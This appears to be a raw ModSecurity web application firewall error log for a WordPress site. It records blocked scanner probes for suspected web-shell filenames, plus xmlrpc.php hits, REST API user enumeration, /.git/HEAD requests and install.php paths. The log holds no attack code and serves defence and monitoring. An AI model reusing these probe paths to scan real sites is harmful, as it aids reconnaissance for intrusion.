[Thu Apr 16 21:46:11.773412 2026] [:error] [pid 49094:tid 49114] [client 51.13.190.245:25160] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/acp.php"] [unique_id "aeDoIzbDwvcXorHR_MzwQgAAAVI"]
[Thu Apr 16 21:46:13.543585 2026] [:error] [pid 49094:tid 49120] [client 51.13.190.245:52293] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/acp.php"] [unique_id "aeDoJTbDwvcXorHR_MzwSQAAAVg"]
[Thu Apr 16 21:46:14.449213 2026] [:error] [pid 7880:tid 7888] [client 51.13.190.245:47445] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file48.php"] [unique_id "aeDoJqaezm4fSGc0yUK1YgAAAYM"]
[Thu Apr 16 21:46:16.040206 2026] [:error] [pid 49094:tid 49119] [client 51.13.190.245:47455] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file48.php"] [unique_id "aeDoKDbDwvcXorHR_MzwYAAAAVc"]
[Thu Apr 16 21:46:34.772997 2026] [:error] [pid 57536:tid 57556] [client 51.13.190.245:53550] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file21.php"] [unique_id "aeDoOiQU4faGja6jpDuL4wAAAAg"]
[Thu Apr 16 21:46:35.358765 2026] [:error] [pid 49094:tid 49103] [client 51.13.190.245:53555] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file21.php"] [unique_id "aeDoOzbDwvcXorHR_MzwigAAAUc"]
[Thu Apr 16 21:46:35.922427 2026] [:error] [pid 7880:tid 7906] [client 51.13.190.245:53536] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file21.php"] [unique_id "aeDoO6aezm4fSGc0yUK1nwAAAZU"]
[Thu Apr 16 21:46:36.528546 2026] [:error] [pid 57538:tid 57613] [client 51.13.190.245:33430] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file21.php"] [unique_id "aeDoPMuMaiEF5SVR2BfqYwAAAIs"]
[Thu Apr 16 21:46:37.062195 2026] [:error] [pid 57639:tid 57668] [client 51.13.190.245:33229] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hypo.php"] [unique_id "aeDoPaMCQoTw7TsxWunD-QAAANY"]
[Thu Apr 16 21:46:37.627702 2026] [:error] [pid 57538:tid 57612] [client 51.13.190.245:52339] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hypo.php"] [unique_id "aeDoPcuMaiEF5SVR2BfqZgAAAIo"]
[Thu Apr 16 21:46:38.188729 2026] [:error] [pid 57538:tid 57606] [client 51.13.190.245:33227] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hypo.php"] [unique_id "aeDoPsuMaiEF5SVR2BfqaQAAAIQ"]
[Thu Apr 16 21:46:38.779621 2026] [:error] [pid 57538:tid 57607] [client 51.13.190.245:52336] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hypo.php"] [unique_id "aeDoPsuMaiEF5SVR2BfqbQAAAIU"]
[Thu Apr 16 21:46:39.400334 2026] [:error] [pid 57639:tid 57669] [client 51.13.190.245:52350] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file18.php"] [unique_id "aeDoP6MCQoTw7TsxWunEBAAAANc"]
[Thu Apr 16 21:46:39.945123 2026] [:error] [pid 57536:tid 57567] [client 51.13.190.245:47441] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file18.php"] [unique_id "aeDoPyQU4faGja6jpDuL7wAAABM"]
[Thu Apr 16 21:46:40.463815 2026] [:error] [pid 57536:tid 57556] [client 51.13.190.245:25159] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file18.php"] [unique_id "aeDoQCQU4faGja6jpDuL-AAAAAg"]
[Thu Apr 16 21:46:41.054016 2026] [:error] [pid 7880:tid 7897] [client 51.13.190.245:47679] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file18.php"] [unique_id "aeDoQaaezm4fSGc0yUK1rQAAAYw"]
[Thu Apr 16 21:46:41.582160 2026] [:error] [pid 57639:tid 57646] [client 51.13.190.245:24675] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vee.php"] [unique_id "aeDoQaMCQoTw7TsxWunECgAAAMA"]
[Thu Apr 16 21:46:42.152304 2026] [:error] [pid 7880:tid 7889] [client 51.13.190.245:33248] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vee.php"] [unique_id "aeDoQqaezm4fSGc0yUK1rwAAAYQ"]
[Thu Apr 16 21:46:42.690727 2026] [:error] [pid 57639:tid 57663] [client 51.13.190.245:53507] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vee.php"] [unique_id "aeDoQqMCQoTw7TsxWunECwAAANE"]
[Thu Apr 16 21:46:43.262151 2026] [:error] [pid 49094:tid 49107] [client 51.13.190.245:33263] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vee.php"] [unique_id "aeDoQzbDwvcXorHR_MzwmAAAAUs"]
[Thu Apr 16 21:46:43.803374 2026] [:error] [pid 7880:tid 7888] [client 51.13.190.245:47635] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cabs.php"] [unique_id "aeDoQ6aezm4fSGc0yUK1swAAAYM"]
[Thu Apr 16 21:46:44.321932 2026] [:error] [pid 57538:tid 57613] [client 51.13.190.245:33276] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cabs.php"] [unique_id "aeDoRMuMaiEF5SVR2BfqdgAAAIs"]
[Thu Apr 16 21:46:44.854654 2026] [:error] [pid 29603:tid 29617] [client 51.13.190.245:33250] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cabs.php"] [unique_id "aeDoRFfGOR6fpTWUAzqfVQAAAQw"]
[Thu Apr 16 21:46:45.392561 2026] [:error] [pid 57538:tid 57609] [client 51.13.190.245:13253] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cabs.php"] [unique_id "aeDoRcuMaiEF5SVR2BfqfQAAAIc"]
[Thu Apr 16 21:46:45.916653 2026] [:error] [pid 57538:tid 57605] [client 51.13.190.245:47617] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwx1.php"] [unique_id "aeDoRcuMaiEF5SVR2BfqgwAAAIM"]
[Thu Apr 16 21:46:46.470967 2026] [:error] [pid 29603:tid 29613] [client 51.13.190.245:47647] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwx1.php"] [unique_id "aeDoRlfGOR6fpTWUAzqfXQAAAQg"]
[Thu Apr 16 21:46:47.030463 2026] [:error] [pid 57639:tid 57663] [client 51.13.190.245:33262] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwx1.php"] [unique_id "aeDoR6MCQoTw7TsxWunEGwAAANE"]
[Thu Apr 16 21:46:47.584825 2026] [:error] [pid 57639:tid 57670] [client 51.13.190.245:53532] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwx1.php"] [unique_id "aeDoR6MCQoTw7TsxWunEIgAAANg"]
[Thu Apr 16 21:46:48.126459 2026] [:error] [pid 57639:tid 57658] [client 51.13.190.245:33464] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x1da.php"] [unique_id "aeDoSKMCQoTw7TsxWunEJwAAAMw"]
[Thu Apr 16 21:46:48.719188 2026] [:error] [pid 57639:tid 57649] [client 51.13.190.245:33270] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x1da.php"] [unique_id "aeDoSKMCQoTw7TsxWunELAAAAMM"]
[Thu Apr 16 21:46:49.241943 2026] [:error] [pid 49094:tid 49114] [client 51.13.190.245:29853] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x1da.php"] [unique_id "aeDoSTbDwvcXorHR_MzwnQAAAVI"]
[Thu Apr 16 21:46:49.784384 2026] [:error] [pid 49094:tid 49117] [client 51.13.190.245:47481] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x1da.php"] [unique_id "aeDoSTbDwvcXorHR_MzwoAAAAVU"]
[Thu Apr 16 21:46:50.365001 2026] [:error] [pid 49094:tid 49111] [client 51.13.190.245:47460] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jp.php"] [unique_id "aeDoSjbDwvcXorHR_MzwogAAAU8"]
[Thu Apr 16 21:46:50.935768 2026] [:error] [pid 49094:tid 49096] [client 51.13.190.245:33459] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jp.php"] [unique_id "aeDoSjbDwvcXorHR_MzwpwAAAUA"]
[Thu Apr 16 21:46:51.480993 2026] [:error] [pid 49094:tid 49107] [client 51.13.190.245:47444] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jp.php"] [unique_id "aeDoSzbDwvcXorHR_MzwrAAAAUs"]
[Thu Apr 16 21:46:52.013347 2026] [:error] [pid 49094:tid 49114] [client 51.13.190.245:33425] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jp.php"] [unique_id "aeDoTDbDwvcXorHR_MzwsgAAAVI"]
[Thu Apr 16 21:46:52.553079 2026] [:error] [pid 49094:tid 49101] [client 51.13.190.245:29884] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/chosen.php"] [unique_id "aeDoTDbDwvcXorHR_MzwugAAAUU"]
[Thu Apr 16 21:46:53.077069 2026] [:error] [pid 49094:tid 49118] [client 51.13.190.245:33273] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/chosen.php"] [unique_id "aeDoTTbDwvcXorHR_MzwvwAAAVY"]
[Thu Apr 16 21:46:53.614569 2026] [:error] [pid 49094:tid 49097] [client 51.13.190.245:25213] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/chosen.php"] [unique_id "aeDoTTbDwvcXorHR_MzwxQAAAUE"]
[Thu Apr 16 21:46:54.203057 2026] [:error] [pid 57536:tid 57552] [client 51.13.190.245:33258] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/chosen.php"] [unique_id "aeDoTiQU4faGja6jpDuMHAAAAAQ"]
[Thu Apr 16 23:37:35.180438 2026] [:error] [pid 49094:tid 49114] [client 35.232.154.197:53049] [client 35.232.154.197] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.232.154.197, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aeECPzbDwvcXorHR_Mww1AAAAVI"]
[Thu Apr 16 23:37:37.902770 2026] [:error] [pid 49094:tid 49112] [client 35.232.154.197:53049] [client 35.232.154.197] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aeECQTbDwvcXorHR_Mww5AAAAVA"]
[Thu Apr 16 23:37:40.136025 2026] [:error] [pid 49094:tid 49116] [client 35.232.154.197:53049] [client 35.232.154.197] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.232.154.197, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aeECRDbDwvcXorHR_Mww7wAAAVQ"]
[Thu Apr 16 23:43:10.569832 2026] [:error] [pid 57536:tid 57565] [client 136.114.255.166:56866] [client 136.114.255.166] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.114.255.166, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aeEDjiQU4faGja6jpDu9wQAAABE"]
[Thu Apr 16 23:43:13.483695 2026] [:error] [pid 57536:tid 57553] [client 136.114.255.166:56866] [client 136.114.255.166] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aeEDkSQU4faGja6jpDu9xQAAAAU"]
[Thu Apr 16 23:43:15.724800 2026] [:error] [pid 57536:tid 57572] [client 136.114.255.166:56866] [client 136.114.255.166] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.114.255.166, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aeEDkyQU4faGja6jpDu9xwAAABg"]
[Fri Apr 17 01:09:45.833664 2026] [:error] [pid 26102:tid 26114] [client 43.156.28.204:51752] [client 43.156.28.204] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aeEX2f127aFqw6ALdngNLQAAAYk"]
[Fri Apr 17 01:17:53.976141 2026] [:error] [pid 43385:tid 43407] [client 45.130.203.172:44083] [client 45.130.203.172] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/HEAD"] [unique_id "aeEZwcnIxkJaUI8KNs4QHQAAABI"]
[Fri Apr 17 01:17:54.662469 2026] [:error] [pid 43482:tid 43488] [client 45.130.203.154:38443] [client 45.130.203.154] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.git/HEAD"] [unique_id "aeEZwj9SZnuKxlHrct2aZAAAAMQ"]
[Fri Apr 17 04:04:12.870641 2026] [:error] [pid 9152:tid 9198] [client 209.38.89.62:46936] [client 209.38.89.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/install.php"] [unique_id "aeFAvJJYca8I3TNCwIfOfQAAAEg"]
[Fri Apr 17 04:04:12.934317 2026] [:error] [pid 9152:tid 9205] [client 209.38.89.62:46950] [client 209.38.89.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp/wp-admin/install.php"] [unique_id "aeFAvJJYca8I3TNCwIfOfwAAAE8"]
[Fri Apr 17 04:04:12.982732 2026] [:error] [pid 9152:tid 9206] [client 209.38.89.62:46966] [client 209.38.89.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new/wp-admin/install.php"] [unique_id "aeFAvJJYca8I3TNCwIfOgAAAAFA"]
[Fri Apr 17 04:04:13.160432 2026] [:error] [pid 9152:tid 9196] [client 209.38.89.62:46976] [client 209.38.89.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/old/wp-admin/install.php"] [unique_id "aeFAvZJYca8I3TNCwIfOgwAAAEY"]
[Fri Apr 17 04:04:13.408377 2026] [:error] [pid 9152:tid 9208] [client 209.38.89.62:46990] [client 209.38.89.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wordpress/wp-admin/install.php"] [unique_id "aeFAvZJYca8I3TNCwIfOiAAAAFI"]
[Fri Apr 17 04:04:13.873841 2026] [:error] [pid 9152:tid 9213] [client 209.38.89.62:47002] [client 209.38.89.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/test/wp-admin/install.php"] [unique_id "aeFAvZJYca8I3TNCwIfOiwAAAFc"]
